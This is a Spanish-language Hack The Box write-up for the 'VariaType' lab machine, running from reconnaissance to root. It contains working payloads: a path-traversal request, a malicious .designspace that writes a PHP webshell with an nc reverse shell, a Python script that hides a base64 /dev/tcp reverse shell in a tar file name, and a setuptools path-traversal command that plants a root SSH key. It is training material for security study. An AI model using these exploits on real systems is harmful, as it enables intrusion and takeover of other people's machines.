VariaType
Plataforma: Hack The Box
Dificultad: Medium
🔗 Link de la máquina: https://app.hackthebox.com/machines/VariaType
Reconocimiento
Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.
sudo nmap -p- -sS -sCV --min-rate 2500 -Pn -n -oN variatype.txt 10.129.7.224
Starting Nmap 7.99 ( https://nmap.org ) at 2026-03-14 10:12 -0300
Nmap scan report for 10.129.7.224
Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e4:b5:c8:7f:2a:9d:38:4e:bf:4e:31:aa:d7:e1:c5:d3 (ECDSA)
|_ 256 8a:b7:96:e0:21:92:5d:1d:cf:8d:e2:6b:dd:37:c6:75 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.37 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 2500: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN variatype.txt: Guarda los resultados en el archivo “variatype.txt”.
Puertos descubiertos:
| Puerto | Servicio | Detalle |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.2p1 — Debian |
| 80/tcp | HTTP | nginx 1.22.1 → redirect a variatype.htb |
echo "10.129.7.224 variatype.htb" | sudo tee -a /etc/hosts
Enumeración
Aplicación web
La aplicación permite generar fuentes variables subiendo un archivo .designspace junto con archivos TTF o OTF. El formato .designspace define los ejes y relaciones entre masters de fuentes, y la aplicación usa fontTools para procesarlos.


Virtual Host Enumeration — portal.variatype.htb
Enumeramos subdominios con ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ \
-u http://variatype.htb -H "Host: FUZZ.variatype.htb" -fw 5
portal [Status: 200, Size: 2494, Words: 445, Lines: 59]
Añadimos el subdominio:
echo "10.129.7.224 portal.variatype.htb" | sudo tee -a /etc/hosts
Git Expuesto → Credenciales
El portal muestra una página de login. Enumeramos directorios:
dirsearch -u http://portal.variatype.htb
[08:01:12] 301 - /.git -> http://portal.variatype.htb/.git/
[08:01:34] 200 - /auth.php
[08:01:42] 302 - /dashboard.php -> /
[08:01:44] 302 - /download.php -> /
[08:01:47] 301 - /files -> http://portal.variatype.htb/files/
[08:02:24] 302 - /view.php -> /
El directorio .git está expuesto. Lo volcamos con git-dumper:
git-dumper http://portal.variatype.htb/.git/ ./repo
cd repo
git log --all --oneline
753b5f5 fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation
Inspeccionamos el commit más reciente:
git show 753b5f5
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
<?php
session_start();
-$USERS = [];
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];
Credenciales: gitbot:G1tB0t_Acc3ss_2025!
Portal — Dashboard

Accedemos con las credenciales encontradas. El dashboard muestra el historial de fuentes generadas con opciones de View y Download.

Path Traversal — download.php
El botón Download realiza peticiones a download.php?f=<archivo>. Interceptamos con Burp Suite e intentamos leer /etc/passwd:
GET /download.php?f=../../../../etc/passwd HTTP/1.1
La respuesta es File not found. Bypasseamos el filtro con doble traversal:
GET /download.php?f=....//....//....//....//etc/passwd HTTP/1.1


Podemos leer archivos arbitrarios. Leemos la configuración de nginx para identificar el webroot:
GET /download.php?f=....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb
server {
listen 80;
server_name portal.variatype.htb;
root /var/www/portal.variatype.htb/public;
location /files/ {
autoindex off;
}
}
El webroot del portal es /var/www/portal.variatype.htb/public y el directorio /files/ sirve archivos estáticos con PHP activo.
Explotación
CVE-2025-66034 — fontTools Arbitrary File Write → Webshell
CVE-2025-66034 afecta al parser .designspace de fontTools. El campo filename del elemento <variable-font> permite path traversal al escribir el archivo de salida. Combinando esto con contenido PHP en <labelname>, escribimos una webshell directamente en el directorio /files/ del portal.
rev.designspace:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.132 4444 >/tmp/f'); ?>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="Hack"
filename="../../../../../../../var/www/portal.variatype.htb/public/files/revshell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Subimos el .designspace junto con dos TTF normales en http://variatype.htb/tools/variable-font-generator:


El dashboard del portal confirma que revshell.php fue escrito en /files/. Con listener activo:
nc -lvnp 4444
Activamos la webshell visitando http://portal.variatype.htb/files/revshell.php:

www-data@variatype:~/portal.variatype.htb/public/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Movimiento Lateral → steve
pspy — Monitoreo de Procesos
Descargamos y ejecutamos pspy64s para monitorear procesos sin privilegios de root:
cd /tmp
wget http://10.10.15.132:8080/pspy64s
chmod +x pspy64s
./pspy64s

2026/06/02 10:20:01 CMD: UID=1000 PID=5742 | /bin/bash /home/steve/bin/process_client_submissions.sh
2026/06/02 10:20:01 CMD: UID=1000 PID=5743 | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
import fontforge; font = fontforge.open('variabype_8GJKTv4L6FM.ttf') ...
Un cron job ejecutado por steve (UID=1000) invoca fontforge para procesar los archivos del directorio /files/. Encontramos una copia del script en /opt:
cat /opt/process_client_submissions.bak
El script procesa archivos .ttf, .otf, .zip, .tar, .tar.gz y .sfd del directorio de uploads, pasando el nombre de archivo directamente a fontforge.open('$file').
CVE-2024-25082 — FontForge Command Injection via tar malicioso
CVE-2024-25082 permite command injection en fontforge a través del nombre de un archivo dentro de un archive .tar. El nombre del archivo se interpreta como comando de shell cuando fontforge intenta abrirlo.
Generamos el payload en base64:
echo "bash -i >& /dev/tcp/10.10.15.132/5555 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzIvNTU1NSAwPiYxCg==
exploit.py:
#!/usr/bin/env python3
import tarfile
entry_name = r"$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzIvNTU1NSAwPiYxCg== | base64 -d | bash)"
tarinfo = tarfile.TarInfo(name=entry_name)
tarinfo.size = 0
tarinfo.type = tarfile.REGTYPE
with tarfile.open("poc.tar", "w") as t:
t.addfile(tarinfo)
Descargamos el script al directorio de uploads y generamos el archivo:
cd /var/www/portal.variatype.htb/public/files
wget http://10.10.15.132:8080/exploit.py
python3 exploit.py
Con listener en Kali:
nc -lvnp 5555
Cuando el cron job procesa poc.tar, fontforge ejecuta el payload y obtenemos shell como steve:

steve@variatype:/tmp/ffarchive-5933-1$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
User Flag
steve@variatype:~$ cat user.txt

Escalada de Privilegios
sudo -l → install_validator.py
steve@variatype:~$ sudo -l
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

El script descarga plugins desde una URL usando setuptools.PackageIndex.download(). Verificamos la versión instalada:
python3 -c "import setuptools; print(setuptools.__version__)"
78.1.0
CVE-2025-47273 — setuptools Path Traversal → Escritura de clave SSH
CVE-2025-47273 es una vulnerabilidad de path traversal en la función PackageIndex.download() de setuptools (corregida en 78.1.1). Permite escribir el archivo descargado en una ruta arbitraria usando secuencias percent-encoded en la URL.
Generamos un par de claves SSH:
ssh-keygen -t ed25519 -f /tmp/root_key
Creamos un servidor HTTP mínimo que devuelve nuestra clave pública:
server.py:
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(open("/tmp/root_key.pub", "rb").read())
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
python3 server.py &
Ejecutamos el script sudo con la URL maliciosa donde el nombre de archivo es la ruta codificada a /root/.ssh/authorized_keys:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
'http://10.10.15.132:8000/%2f%2f%2froot%2f.ssh%2fauthorized_keys'
[INFO] Plugin installed at: ///root/.ssh/authorized_keys
[+] Plugin installed successfully.
PackageIndex.download() decodifica los slashes percent-encoded y escribe nuestra clave pública directamente en /root/.ssh/authorized_keys. Accedemos como root via SSH:
ssh -i /tmp/root_key root@10.129.7.224
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

Root Flag
root@variatype:~# cat /root/root.txt

Máquina VariaType de Hack The Box completada exitosamente.